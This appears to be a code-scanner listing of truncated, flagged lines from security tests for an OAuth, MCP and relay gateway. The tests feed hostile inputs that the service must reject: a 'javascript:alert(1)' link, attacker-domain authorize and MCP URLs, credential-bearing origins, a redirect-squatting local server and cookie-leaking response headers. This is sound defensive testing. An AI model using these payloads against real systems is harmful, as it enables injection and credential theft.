const supervisor=new ConnectorSupervisor({enabled:true,loadEnrollment:async()=>({endpoint:'wss://connect.superlocalmemory.com/connector',deviceToken:'d'.repeat(40),expiresAt:Date.now()+60000,origin:'http://evil.invalid/mcp',originHeaders:{} - Network accessline 23
try { const incoming=once(wss,'connection'); supervisor=new ConnectorSupervisor({enabled:true,loadEnrollment:async()=>({endpoint:'wss://connect.superlocalmemory.com/connector',deviceToken:'d'.repeat(40),expiresAt:Date.now()+60000,or - Network accessline 24
const incoming=once(wss,'connection'); supervisor=new ConnectorSupervisor({enabled:true,loadEnrollment:async()=>({endpoint:'wss://connect.superlocalmemory.com/connector',deviceToken:'d'.repeat(40),expiresAt:Date.now()+60000,origin:`http - Network accessline 25
[Credential-related source omitted]
integrations/remote-gateway/tests/credential-lifetime.test.mjs
- Executable scriptline 1
Executable file
integrations/remote-gateway/tests/dashboard-connections.test.mjs
- Executable scriptline 1
Executable file - Network accessline 9
async function setup(status={available:true,current_profile:'profile-a',hosts:['muse','chatgpt'],connections:[]},reply={state:'pending',connection_id:'synthetic-connection'}){ status=Object.assign({installation_id:'synthetic-install'},stat - Network accessline 10
status=Object.assign({installation_id:'synthetic-install'},status); const dom=new JSDOM('<!doctype html><div id="pane"></div>',{url:'http://127.0.0.1:8765',runScripts:'outside-only',pretendToBeVisual:true});const calls=[];let fail=false;do - Network accessline 11
const dom=new JSDOM('<!doctype html><div id="pane"></div>',{url:'http://127.0.0.1:8765',runScripts:'outside-only',pretendToBeVisual:true});const calls=[];let fail=false;dom.window.open=()=>null; - Network accessline 22
test('unavailable backend disables initiation honestly',async()=>{const f=await setup({available:false,current_profile:'profile-a',hosts:['muse'],connections:[]});try{const choices=[...f.card.querySelectorAll('[data-client]')];assert.ok(cho - Network accessline 23
test('pending receipt never appears as connected',async()=>{const f=await setup();try{await submit(f);assert.match(f.card.textContent,/Waiting|requested|pending/i);assert.doesNotMatch(f.card.textContent,/Connected/);assert.notEqual(f.card.q - Network accessline 24
test('unsafe authorization links are never inserted',async()=>{for(const url of ['javascript:alert(1)','https://evil.example/authorize','https://name:pass@auth.superlocalmemory.com/authorize']){const f=await setup(undefined,{state:'pending' - Network accessline 25
test('backend connection-bound sign-in receipt renders a safe link',async()=>{const url='https://auth.superlocalmemory.com/owner-login?connection_id=synthetic-connection';const f=await setup(undefined,{state:'pending',connection_id:'synthet - Network accessline 26
test('sign-in links reject foreign identity and ambiguous query parameters',async()=>{for(const suffix of ['?connection_id=foreign','?connection_id=synthetic-connection&connection_id=foreign','?connection_id=synthetic-connection&state=extra - Network accessline 69
test('invalid acknowledgement remains unconfirmed',async()=>{const f=await setup(undefined,{});try{await submit(f);assert.match(f.card.textContent,/could not be confirmed/);}finally{f.dom.window.close();}}); test('acknowledged first host al - Network accessline 71
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted] - Network accessline 78
test('verified device readiness exposes only canonical URL and disconnect action',async()=>{ const f=await setup({available:true,current_profile:'profile-a',hosts:['muse'],connections:[{host:'muse',connection_id:'a'.repeat(32),state:'ready - Network accessline 79
const f=await setup({available:true,current_profile:'profile-a',hosts:['muse'],connections:[{host:'muse',connection_id:'a'.repeat(32),state:'ready_for_client',verified:true,version:2,mcp_url:'https://mcp.superlocalmemory.com/mcp'}]}); - Network accessline 80
try{assert.equal(f.card.querySelector('[data-computer-status]').textContent,'Ready');assert.equal(f.card.querySelector('.apps-instructions input[aria-label="MCP server URL"]')?.value,'https://mcp.superlocalmemory.com/mcp');assert.ok([...f.c - Network accessline 82
test('a ready connection offers the web-agent instructions to copy, word for word from the docs',async()=>{ const doc=readFileSync(new URL('../../../docs/web-agents/instructions.md',import.meta.url),'utf8');const short=doc.match(/## Short - Network accessline 83
const doc=readFileSync(new URL('../../../docs/web-agents/instructions.md',import.meta.url),'utf8');const short=doc.match(/## Short block\n\n```text\n([\s\S]*?)\n```/)[1]; const f=await setup({available:true,current_profile:'profile-a',host - Network accessline 84
const f=await setup({available:true,current_profile:'profile-a',hosts:['composio'],connections:[{host:'composio',connection_id:'a'.repeat(32),state:'ready_for_client',verified:true,version:2,mcp_url:'https://mcp.superlocalmemory.com/mcp'}]} - Network accessline 86
}); test('unverified or noncanonical endpoint never exposes URL',async()=>{ const f=await setup({available:true,current_profile:'profile-a',hosts:['muse'],connections:[{host:'muse',connection_id:'a'.repeat(32),state:'ready_for_client',veri - Network accessline 87
test('unverified or noncanonical endpoint never exposes URL',async()=>{ const f=await setup({available:true,current_profile:'profile-a',hosts:['muse'],connections:[{host:'muse',connection_id:'a'.repeat(32),state:'ready_for_client',verified - Network accessline 88
const f=await setup({available:true,current_profile:'profile-a',hosts:['muse'],connections:[{host:'muse',connection_id:'a'.repeat(32),state:'ready_for_client',verified:true,version:2,mcp_url:'https://evil.example/mcp'}]}); - Network accessline 89
try{const canonical=['https://mcp.superlocalmemory.com/mcp','https://auth.superlocalmemory.com/.well-known/oauth-authorization-server'];assert.equal(f.card.querySelector('.apps-instructions'),null);assert.ok([...f.card.querySelectorAll('inp - Network accessline 95
}); test('sign-in starts from the user gesture and navigates only to verified receipt',async()=>{ const url='https://auth.superlocalmemory.com/owner-login?connection_id=synthetic-connection';const f=await setup(undefined,{state:'pending',c - Network accessline 96
test('sign-in starts from the user gesture and navigates only to verified receipt',async()=>{ const url='https://auth.superlocalmemory.com/owner-login?connection_id=synthetic-connection';const f=await setup(undefined,{state:'pending',conne - Network accessline 97
const url='https://auth.superlocalmemory.com/owner-login?connection_id=synthetic-connection';const f=await setup(undefined,{state:'pending',connection_id:'synthetic-connection',authorization_url:url});const opened=[];const navigated=[];cons - Network accessline 103
const f=await setup(status);const scheduled=[];f.dom.window.setTimeout=fn=>{scheduled.push(fn);return 1;}; try{click(f.card,'Refresh status');await tick();await tick();assert.equal(scheduled.length,1); status.connections[0]={...status.con - Network accessline 104
try{click(f.card,'Refresh status');await tick();await tick();assert.equal(scheduled.length,1); status.connections[0]={...status.connections[0],state:'ready_for_client',verified:true,mcp_url:'https://mcp.superlocalmemory.com/mcp'}; schedul - Network accessline 105
status.connections[0]={...status.connections[0],state:'ready_for_client',verified:true,mcp_url:'https://mcp.superlocalmemory.com/mcp'}; - Network accessline 125
}); test('ready Composio recipe includes correct OAuth metadata URL',async()=>{ const f=await setup({available:true,current_profile:'profile-a',hosts:['composio'],connections:[{host:'composio',connection_id:'a'.repeat(32),state:'ready_for_ - Network accessline 126
test('ready Composio recipe includes correct OAuth metadata URL',async()=>{ const f=await setup({available:true,current_profile:'profile-a',hosts:['composio'],connections:[{host:'composio',connection_id:'a'.repeat(32),state:'ready_for_clie - Network accessline 127
const f=await setup({available:true,current_profile:'profile-a',hosts:['composio'],connections:[{host:'composio',connection_id:'a'.repeat(32),state:'ready_for_client',verified:true,version:2,mcp_url:'https://mcp.superlocalmemory.com/mcp'}]} - Network accessline 128
try{assert.match(f.card.textContent,/OAuth/);assert.equal(f.card.querySelector('.apps-instructions input[aria-label="OAuth metadata URL"]')?.value,'https://auth.superlocalmemory.com/.well-known/oauth-authorization-server');}finally{f.dom.wi - Network accessline 134
}); test('profile switch clears the old sign-in link and resets consent',async()=>{ const state={available:true,current_profile:'profile-a',hosts:['muse','composio'],connections:[]};const f=await setup(state,{state:'pending',connection_id: - Network accessline 135
test('profile switch clears the old sign-in link and resets consent',async()=>{ const state={available:true,current_profile:'profile-a',hosts:['muse','composio'],connections:[]};const f=await setup(state,{state:'pending',connection_id:'a'. - Network accessline 136
const state={available:true,current_profile:'profile-a',hosts:['muse','composio'],connections:[]};const f=await setup(state,{state:'pending',connection_id:'a'.repeat(32),authorization_url:'https://auth.superlocalmemory.com/owner-login?conne - Possible obfuscationline 154
const f=await setup();try{const doc=f.dom.window.document;doc.body.insertAdjacentHTML('beforeend','<aside id="sidebar"></aside><div id="scrim"></div><button id="menuBtn"></button><main id="main-content"><div id="dashboard-pane" class="tab-p - Network accessline 167
test('expired request offers one-click restart with fixed consent instead of pretending sign-in is pending',async()=>{ const state={available:true,current_profile:'profile-a',hosts:['composio'],connections:[{host:'composio',connection_id:' - Network accessline 168
const state={available:true,current_profile:'profile-a',hosts:['composio'],connections:[{host:'composio',connection_id:'a'.repeat(32),state:'pending',verified:false,version:3,sign_in_state:'expired'}]};const f=await setup(state,{state:'pend
integrations/remote-gateway/tests/device-proof.test.mjs
- Executable scriptline 1
Executable file - Network accessline 3
[Credential-related source omitted] - Network accessline 4
[Credential-related source omitted] - Network accessline 5
[Credential-related source omitted] - Network accessline 6
async function setup(changes={}){const keys=await generateKeyPair('ES256');const jwk=await exportJWK(keys.publicKey);const jkt=await calculateJwkThumbprint(jwk);const claims={jti:crypto.randomUUID(),iat:Math.floor(Date.now()/1000),htm:'GET' - Network accessline 7
test('device proof binds private-key possession, target, method and token',async()=>{assert.ok(api);const f=await setup();assert.equal((await api.verifyDeviceProof(f.proof,{jkt:f.jkt,method:'GET',url:target,token})).jti,f.claims.jti);}); fo - Network accessline 8
for(const [name,changes] of [['wrong method',{htm:'POST'}],['wrong target',{htu:'https://evil.example/connector'}],['stale proof',{iat:Math.floor(Date.now()/1000)-600}],['future proof',{iat:Math.floor(Date.now()/1000)+600}],['wrong token',{
integrations/remote-gateway/tests/enrollment.test.mjs
- Executable scriptline 1
Executable file
integrations/remote-gateway/tests/fixtures/dashboard-preview.mjs
- Executable scriptline 1
Executable file - Network accessline 7
const html='<!doctype html><html data-theme="dark"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><link rel="stylesheet" href="/static/css/design-system.css"><link rel="stylesheet" href="/stat - Network accessline 8
const server=http.createServer(async(req,res)=>{ try{const path=new URL(req.url,'http://localhost').pathname;let body;let type='application/json'; if(path==='/'){body=html;type='text/html';} - Network accessline 9
try{const path=new URL(req.url,'http://localhost').pathname;let body;let type='application/json'; - Network accessline 16
}catch{res.writeHead(500);res.end('fixture error');} }); server.listen(0,'127.0.0.1',()=>console.log('http://127.0.0.1:'+server.address().port)); - Network accessline 18
server.listen(0,'127.0.0.1',()=>console.log('http://127.0.0.1:'+server.address().port));
integrations/remote-gateway/tests/grant.test.mjs
- Executable scriptline 1
Executable file - Possible obfuscationline 6
const VECTOR = 'v1.eyJ2IjoxLCJraWQiOjEsImNpZCI6ImMwZmZlZTAwYzBmZmVlMDBjMGZmZWUwMGMwZmZlZTAwIiwiYWlkIjoiYXV0aC0xIiwidmVyIjoxLCJhcHAiOiJjbGllbnQtMSIsInNjcCI6WyJzbG06cmVhZCIsInNsbTptZXNoIl0sImZ2IjpmYWxzZSwiZmlkIjoiZnJhbWUtMSIsImdlbiI6MywiZGwiO
integrations/remote-gateway/tests/issued-token-protocol.test.mjs
- Executable scriptline 1
Executable file - Network accessline 4
test('issuance records both access and refresh references before response',async()=>{ const stored=[];const env={TOKEN_INDEX:{getByName(){return {record:async refs=>stored.push(...refs)};}}}; const api={unwrapToken:async()=>({expiresAt:Ma - Network accessline 5
const stored=[];const env={TOKEN_INDEX:{getByName(){return {record:async refs=>stored.push(...refs)};}}}; const api={unwrapToken:async()=>({expiresAt:Math.floor(Date.now()/1000)+3600,userId:'16027584',audience:'https://mcp.superlocalmemory - Network accessline 6
const api={unwrapToken:async()=>({expiresAt:Math.floor(Date.now()/1000)+3600,userId:'16027584',audience:'https://mcp.superlocalmemory.com/mcp',grant:{clientId:'client',props:{ownerId:'16027584',authorizationId:'grant',connectionId:'connecti - Access to secretsline 7
[Credential-related source omitted] - Network accessline 10
test('ledger failure prevents successful issuance acknowledgement',async()=>{ const env={TOKEN_INDEX:{getByName(){return {record:async()=>{throw new Error('unavailable');}};}}}; const api={unwrapToken:async()=>({expiresAt:Math.floor(Date. - Network accessline 11
const env={TOKEN_INDEX:{getByName(){return {record:async()=>{throw new Error('unavailable');}};}}}; const api={unwrapToken:async()=>({expiresAt:Math.floor(Date.now()/1000)+3600,userId:'16027584',audience:'https://mcp.superlocalmemory.com/m - Network accessline 12
const api={unwrapToken:async()=>({expiresAt:Math.floor(Date.now()/1000)+3600,userId:'16027584',audience:'https://mcp.superlocalmemory.com/mcp',grant:{clientId:'client',props:{ownerId:'16027584',authorizationId:'grant',connectionId:'connecti - Access to secretsline 13
[Credential-related source omitted]
integrations/remote-gateway/tests/local-connector.test.mjs
- Executable scriptline 1
Executable file - Network accessline 6
function setup(fetcher=async()=>new Response('{"ok":true}',{headers:{'content-type':'application/json'}})) { const sent=[], closed=[]; const session = new LocalRelaySession({origin:'http://127.0.0.1:9999/mcp/', originHeaders:{'X-Install - Network accessline 7
[Credential-related source omitted] - Network accessline 8
[Credential-related source omitted] - Network accessline 11
test('missing implementation is the explicit RED signal',()=>assert.equal(typeof LocalRelaySession,'function')); test('ready handshake precedes origin execution',async()=>{let calls=0;const s=setup(async()=>{calls++;return new Response(''); - Network accessline 12
test('ready handshake precedes origin execution',async()=>{let calls=0;const s=setup(async()=>{calls++;return new Response('');});await s.session.receive(request());assert.equal(calls,0);assert.equal(s.closed.length,1);}); test('request use - Network accessline 13
test('request uses fixed loopback origin and private local header',async()=>{let observed;const s=setup(async(url,opts)=>{observed={url,opts};return new Response('result');});await s.session.receive('{"v":1,"kind":"ready","generation":3}'); - Network accessline 14
test('approved modern parameters are forwarded using immutable local schema',async()=>{let headers;const params=['mcp-param-query'];const session=new LocalRelaySession({origin:'http://127.0.0.1:9999/mcp',originHeaders:{},codecOptions:{reque - Network accessline 15
test('refuses remote, credential-bearing, query and non-MCP origins',()=>{for(const origin of ['http://example.com/mcp/','http://localhost/mcp/','http://u:p@127.0.0.1/mcp/','http://127.0.0.1/mcp/?url=x','http://127.0.0.1/admin'])assert.thro - Network accessline 24
test('socket config binds device authorization to curated WSS endpoint',()=>{const opts=connectorSocketOptions('wss://connect.superlocalmemory.com/connector','a'.repeat(40));assert.equal(opts.url,'wss://connect.superlocalmemory.com/connecto - Network accessline 25
[Credential-related source omitted] - Network accessline 26
[Credential-related source omitted] - Network accessline 30
test('malformed handshake stops session without origin side effects',async()=>{const s=setup();await s.session.receive('bad');await s.session.receive('{"v":1,"kind":"ready","generation":3}');assert.equal(s.closed.length,1);assert.equal(s.se - Network accessline 31
test('overlong deadline is refused',async()=>{const s=setup();await s.session.receive('{"v":1,"kind":"ready","generation":3}');await s.session.receive(request({deadlineAt:Date.now()+40000}));assert.equal(s.sent[0].status,400);}); test('untr - Network accessline 32
test('untrusted response headers cannot leak origin cookies',async()=>{const s=setup(async()=>new Response('ok',{headers:{'set-cookie':'secret','location':'https://evil.com','content-type':'application/json'}}));await s.session.receive('{"v - Network accessline 37
await new Promise(resolve=>target.listen(0,'127.0.0.1',resolve)); const targetPort=target.address().port; const squatter=createServer((req,res)=>{req.resume();res.writeHead(status,{location:`http://127.0.0.1:${targetPort}/stolen`});res. - Network accessline 38
const targetPort=target.address().port; const squatter=createServer((req,res)=>{req.resume();res.writeHead(status,{location:`http://127.0.0.1:${targetPort}/stolen`});res.end();}); await new Promise(resolve=>squatter.listen(0,'127.0.0.1' - Network accessline 39
const squatter=createServer((req,res)=>{req.resume();res.writeHead(status,{location:`http://127.0.0.1:${targetPort}/stolen`});res.end();}); - Network accessline 41
try { const sent=[], closed=[]; const session=new LocalRelaySession({origin:`http://127.0.0.1:${squatter.address().port}/mcp`, - Network accessline 42
[Credential-related source omitted] - Network accessline 43
const session=new LocalRelaySession({origin:`http://127.0.0.1:${squatter.address().port}/mcp`, - Network accessline 56
}); test('the API key header is accepted only for a loopback 127.0.0.1 origin',()=>{ for(const origin of ['http://localhost:8765/mcp','http://192.168.1.5:8765/mcp','https://127.0.0.1:8765/mcp','http://example.com/mcp']) - Network accessline 57
test('the API key header is accepted only for a loopback 127.0.0.1 origin',()=>{ for(const origin of ['http://localhost:8765/mcp','http://192.168.1.5:8765/mcp','https://127.0.0.1:8765/mcp','http://example.com/mcp']) assert.throws(()=> - Network accessline 58
for(const origin of ['http://localhost:8765/mcp','http://192.168.1.5:8765/mcp','https://127.0.0.1:8765/mcp','http://example.com/mcp']) - Network accessline 59
[Credential-related source omitted] - Network accessline 60
[Credential-related source omitted]
integrations/remote-gateway/tests/mcp-http.test.mjs
- Executable scriptline 1
Executable file - Network accessline 3
let api;try{api=await import('../src/mcp-http.ts');}catch{api=null;} function message(method='tools/call',args={query:'synthetic'}){return {jsonrpc:'2.0',id:1,method,params:method==='tools/call'?{name:'recall',arguments:args}:{}};} function - Network accessline 4
function message(method='tools/call',args={query:'synthetic'}){return {jsonrpc:'2.0',id:1,method,params:method==='tools/call'?{name:'recall',arguments:args}:{}};} function request(body=message(),headers={}){return new Request('https://mcp.s - Network accessline 5
function request(body=message(),headers={}){return new Request('https://mcp.superlocalmemory.com/mcp',{method:'POST',headers:{'content-type':'application/json',accept:'application/json, text/event-stream',...headers},body:typeof body==='str
integrations/remote-gateway/tests/owner-profile-cleanup.test.mjs
- Executable scriptline 1
Executable file
integrations/remote-gateway/tests/owner-selection.test.mjs
- Executable scriptline 1
Executable file
integrations/remote-gateway/tests/policy.test.mjs
- Executable scriptline 1
Executable file - Network accessline 2
import assert from 'node:assert/strict'; import { authorizeRequest } from '../src/request-policy.ts'; const resource = 'https://slm-mcp.example.com/mcp'; - Network accessline 3
import { authorizeRequest } from '../src/request-policy.ts'; const resource = 'https://slm-mcp.example.com/mcp'; function fixture() { - Network accessline 4
const resource = 'https://slm-mcp.example.com/mcp'; - Network accessline 6
[Credential-related source omitted] - Network accessline 7
[Credential-related source omitted] - Network accessline 8
const connection = { connectionId: actor.connectionId, ownerId: actor.ownerId, installationId: 'installation-a', profileId: 'profile-a', origin: {kind:'https',url:'https://slm-origin-a.example.com/mcp',credentialRef:'secret-ref-a',exactAgen - Network accessline 19
['foreign grant', f => { f.actor.authorizationId = 'grant-b'; }, 'BINDING_MISMATCH'], ['foreign connection owner', f => { f.connection.ownerId = 'owner-b'; }, 'BINDING_MISMATCH'], ['wrong audience', f => { f.actor.audience = 'https://fore - Network accessline 20
['foreign connection owner', f => { f.connection.ownerId = 'owner-b'; }, 'BINDING_MISMATCH'], ['wrong audience', f => { f.actor.audience = 'https://foreign.example/mcp'; }, 'INVALID_PRINCIPAL'], ['revoked grant', f => { f.authorization.re - Network accessline 21
['wrong audience', f => { f.actor.audience = 'https://foreign.example/mcp'; }, 'INVALID_PRINCIPAL'], - Network accessline 44
test('unknown era cannot fall back', () => { const f = fixture(); f.request.era = 'future'; deny(f, 'METHOD_DENIED'); }); test('missing grant or connection fails closed', () => { for (const key of ['authorization','connection']) { const f = - Network accessline 45
test('missing grant or connection fails closed', () => { for (const key of ['authorization','connection']) { const f = fixture(); f[key] = null; deny(f, 'BINDING_MISMATCH'); } }); test('consent audience must match resource', () => { const f - Network accessline 46
test('consent audience must match resource', () => { const f = fixture(); f.authorization.audience = 'https://other.example/mcp'; deny(f, 'INVALID_PRINCIPAL'); });
integrations/remote-gateway/tests/provider-cleanup.test.mjs
- Executable scriptline 1
Executable file
integrations/remote-gateway/tests/relay-errors.test.mjs
- Executable scriptline 1
Executable file
integrations/remote-gateway/tests/relay-protocol.test.mjs
- Executable scriptline 1
Executable file - Network accessline 8
test('response preserves status and binary byte sequence', () => { const f = { v: 1, kind: 'response', id: 'request-a', generation: 2, status: 403, headers: [['Content-Type','application/json']], bodyBase64: Buffer.from([0,1,2,255]).toStrin - Network accessline 9
test('cancellation contains correlation identity only', () => { const f = { v: 1, kind: 'cancel', id: 'request-a', generation: 2 }; assert.deepEqual(decode(f), { ok: true, frame: f }); }); for (const [label, patch] of [['unsupported version - Network accessline 10
for (const [label, patch] of [['unsupported version',{v:2}],['unknown kind',{kind:'admin'}],['missing ID',{id:undefined}],['invalid ID',{id:'../foreign'}],['zero generation',{generation:0}],['fraction generation',{generation:1.5}],['expired
integrations/remote-gateway/tests/runtime/auth-worker.test.ts
- Executable scriptline 1
Executable file - Network accessline 2
import {describe,it,expect} from 'vitest'; import {authFetch,type AuthWorkerEnv} from '../../src/worker-auth.ts'; const issuer='https://auth.superlocalmemory.com'; - Network accessline 3
[Credential-related source omitted] - Network accessline 4
const issuer='https://auth.superlocalmemory.com'; - Access to secretsline 5
[Credential-related source omitted] - Network accessline 7
it('serves maintained metadata only on exact issuer host',async()=>{ const ctx=createExecutionContext();expect((await authFetch(new Request(issuer+'/.well-known/oauth-authorization-server'),configuration(),ctx)).status).toBe(200); expec - Network accessline 8
const ctx=createExecutionContext();expect((await authFetch(new Request(issuer+'/.well-known/oauth-authorization-server'),configuration(),ctx)).status).toBe(200); expect((await authFetch(new Request('https://evil.example/.well-known/oauth- - Network accessline 9
expect((await authFetch(new Request('https://evil.example/.well-known/oauth-authorization-server'),configuration(),ctx)).status).toBe(403);await waitOnExecutionContext(ctx); - Network accessline 10
}); it('rejects consent without exact Origin or maintained browser cookie',async()=>{ for(const origin of [undefined,'https://evil.example',issuer]){ - Network accessline 11
[Credential-related source omitted] - Access to secretsline 11
[Credential-related source omitted] - Network accessline 12
for(const origin of [undefined,'https://evil.example',issuer]){ - Network accessline 41
it('client registration keeps no diagnostic records, even when the old diagnostic switch is set',async()=>{ const ctx=createExecutionContext();const settings={...configuration(),DCR_DIAGNOSTICS:'1'} as unknown as AuthWorkerEnv; const resp - Network accessline 42
const ctx=createExecutionContext();const settings={...configuration(),DCR_DIAGNOSTICS:'1'} as unknown as AuthWorkerEnv; const response=await authFetch(new Request(issuer+'/oauth/register',{method:'POST',headers:{'Content-Type':'application - Network accessline 43
const response=await authFetch(new Request(issuer+'/oauth/register',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({client_name:'private-test-name',redirect_uris:['https://backend.composio.dev/api/v1/auth-app - Network accessline 47
it('MCP consent excludes native scope when client asks for the whole advertised scope list',async()=>{ const ctx=createExecutionContext();const settings=configuration(); const registered=await authFetch(new Request(issuer+'/oauth/register - Network accessline 48
const ctx=createExecutionContext();const settings=configuration(); const registered=await authFetch(new Request(issuer+'/oauth/register',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({client_name:'scope-int - Network accessline 49
const registered=await authFetch(new Request(issuer+'/oauth/register',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({client_name:'scope-interoperability-fixture',redirect_uris:['https://client.example/callba - Network accessline 50
const client=await registered.json() as {client_id:string}; const uri=issuer+'/authorize?'+new URLSearchParams({response_type:'code',client_id:client.client_id,redirect_uri:'https://client.example/callback',resource:'https://mcp.superlocal - Network accessline 51
const uri=issuer+'/authorize?'+new URLSearchParams({response_type:'code',client_id:client.client_id,redirect_uri:'https://client.example/callback',resource:'https://mcp.superlocalmemory.com/mcp',scope:'slm:read slm:write slm:session slm:con - Network accessline 55
it('omitting resource never reaches native owner enrollment',async()=>{ const ctx=createExecutionContext();const settings=configuration(); const registered=await authFetch(new Request(issuer+'/oauth/register',{method:'POST',headers:{'Cont - Network accessline 56
const ctx=createExecutionContext();const settings=configuration(); const registered=await authFetch(new Request(issuer+'/oauth/register',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({client_name:'owner-pro - Network accessline 57
const registered=await authFetch(new Request(issuer+'/oauth/register',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({client_name:'owner-probe',redirect_uris:['https://client.example/callback'],token_endpoint - Network accessline 58
const response=await authFetch(new Request(issuer+'/authorize?'+new URLSearchParams({response_type:'code',client_id:client.client_id,redirect_uri:'https://client.example/callback',scope:'slm:connect',state:'synthetic-state',code_challenge:' - Network accessline 60
}); it('consent page permits the real GitHub redirect and uses nonce-bound SLM styling',async()=>{ const ctx=createExecutionContext();const settings=configuration();const registered=await authFetch(new Request(issuer+'/oauth/register',{met - Network accessline 61
it('consent page permits the real GitHub redirect and uses nonce-bound SLM styling',async()=>{ const ctx=createExecutionContext();const settings=configuration();const registered=await authFetch(new Request(issuer+'/oauth/register',{method: - Network accessline 62
const ctx=createExecutionContext();const settings=configuration();const registered=await authFetch(new Request(issuer+'/oauth/register',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({client_name:'fixture',re - Network accessline 63
const response=await authFetch(new Request(issuer+'/authorize?'+new URLSearchParams({response_type:'code',client_id:client.client_id,redirect_uri:'https://client.example/callback',resource:'https://mcp.superlocalmemory.com/mcp',scope:'slm:r - Network accessline 64
expect(response.headers.get('Referrer-Policy')).toBe('strict-origin');const policy=response.headers.get('Content-Security-Policy')!;expect(policy).toContain("form-action 'self' https://github.com https://client.example");expect(policy).toMa - Network accessline 87
async function page(scope:string){ const ctx=createExecutionContext(); const registered=await authFetch(new Request(issuer+'/oauth/register',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({client_name:'me - Network accessline 88
const ctx=createExecutionContext(); const registered=await authFetch(new Request(issuer+'/oauth/register',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({client_name:'mesh-fixture',redirect_uris:['https://c - Network accessline 89
const registered=await authFetch(new Request(issuer+'/oauth/register',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({client_name:'mesh-fixture',redirect_uris:['https://client.example/callback'],token_endpoin - Network accessline 90
const client=await registered.json() as {client_id:string}; const response=await authFetch(new Request(issuer+'/authorize?'+new URLSearchParams({response_type:'code',client_id:client.client_id,redirect_uri:'https://client.example/callback - Network accessline 91
const response=await authFetch(new Request(issuer+'/authorize?'+new URLSearchParams({response_type:'code',client_id:client.client_id,redirect_uri:'https://client.example/callback',resource:'https://mcp.superlocalmemory.com/mcp',scope,state:
integrations/remote-gateway/tests/runtime/authorization-server.test.ts
- Executable scriptline 1
Executable file - Network accessline 2
import {describe,it,expect} from 'vitest'; import {authorizationServer,type AuthorizationEnv} from '../../src/authorization-server.ts'; const issuer='https://auth.superlocalmemory.com'; - Network accessline 3
import {authorizationServer,type AuthorizationEnv} from '../../src/authorization-server.ts'; const issuer='https://auth.superlocalmemory.com'; const contextEnv=()=>({...env,OAUTH_KV:env.OAUTH_KV}) as AuthorizationEnv; - Network accessline 4
const issuer='https://auth.superlocalmemory.com'; - Network accessline 6
describe('maintained production authorization protocol',()=>{ it('publishes issuer, S256 and DCR endpoints',async()=>{ const ctx=createExecutionContext();const response=await authorizationServer.fetch(new Request(issuer+'/.well-known/oau - Network accessline 7
it('publishes issuer, S256 and DCR endpoints',async()=>{ const ctx=createExecutionContext();const response=await authorizationServer.fetch(new Request(issuer+'/.well-known/oauth-authorization-server'),contextEnv(),ctx); expect(response. - Network accessline 8
const ctx=createExecutionContext();const response=await authorizationServer.fetch(new Request(issuer+'/.well-known/oauth-authorization-server'),contextEnv(),ctx); - Network accessline 12
}); it('registers an HTTPS public client without issuing memory access',async()=>{ const ctx=createExecutionContext();const response=await authorizationServer.fetch(new Request(issuer+'/oauth/register',{method:'POST',headers:{'Content-Ty - Network accessline 13
it('registers an HTTPS public client without issuing memory access',async()=>{ const ctx=createExecutionContext();const response=await authorizationServer.fetch(new Request(issuer+'/oauth/register',{method:'POST',headers:{'Content-Type':' - Network accessline 14
const ctx=createExecutionContext();const response=await authorizationServer.fetch(new Request(issuer+'/oauth/register',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({client_name:'SLM synthetic client',redire - Access to secretsline 16
[Credential-related source omitted] - Network accessline 17
}); it('does not issue a token for an invented authorization code',async()=>{ const ctx=createExecutionContext();const response=await authorizationServer.fetch(new Request(issuer+'/oauth/token',{method:'POST',headers:{'Content-Type':'app - Network accessline 18
it('does not issue a token for an invented authorization code',async()=>{ const ctx=createExecutionContext();const response=await authorizationServer.fetch(new Request(issuer+'/oauth/token',{method:'POST',headers:{'Content-Type':'applicat - Network accessline 19
const ctx=createExecutionContext();const response=await authorizationServer.fetch(new Request(issuer+'/oauth/token',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:new URLSearchParams({grant_type:'authorizat
integrations/remote-gateway/tests/runtime/connect-worker.test.ts
- Executable scriptline 1
Executable file - Network accessline 2
import {generateKeyPair,exportJWK,calculateJwkThumbprint,SignJWT} from 'jose'; import {connectFetch,type ConnectEnv} from '../../src/worker-connect.ts';import {tokenHash} from '../../src/device-proof.ts';import {tokenDigest} from '../../src - Network accessline 3
import {connectFetch,type ConnectEnv} from '../../src/worker-connect.ts';import {tokenHash} from '../../src/device-proof.ts';import {tokenDigest} from '../../src/issued-token-protocol.ts'; const endpoint='https://connect.superlocalmemory.co - Network accessline 4
const endpoint='https://connect.superlocalmemory.com/connector';
integrations/remote-gateway/tests/runtime/credential-renewal.test.ts
- Executable scriptline 1
Executable file - Network accessline 13
[Credential-related source omitted] - Network accessline 14
[Credential-related source omitted] - Network accessline 15
[Credential-related source omitted] - Network accessline 49
test('a connected app keeps working past the first credential\'s expiry once renewed',async()=>{ const {f,first}=await provisioned();const start=Date.now();const audience='https://mcp.superlocalmemory.com/mcp'; - Network accessline 50
const {f,first}=await provisioned();const start=Date.now();const audience='https://mcp.superlocalmemory.com/mcp'; - Network accessline 88
test('an open relay on the old credential is closed as rotated',async()=>{ const {f,first}=await provisioned(); const upgrade=await env.RELAYS.getByName(f.connectionId).fetch(new Request('https://private.invalid/connector',{headers:{Upgra - Network accessline 89
[Credential-related source omitted] - Network accessline 90
[Credential-related source omitted]
integrations/remote-gateway/tests/runtime/device-index.test.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/tests/runtime/env.d.ts
- Executable scriptline 1
Executable file
integrations/remote-gateway/tests/runtime/fixture-worker.ts
- Executable scriptline 1
Executable file - Access to secretsline 6
[Credential-related source omitted] - Network accessline 10
export { BootstrapDO } from '../../src/bootstrap-do.ts'; export { OwnerIndexDO } from '../../src/owner-index-do.ts'; export default { fetch() { return new Response('runtime fixture only', {status:404}); } }; - Network accessline 12
export default { fetch() { return new Response('runtime fixture only', {status:404}); } };
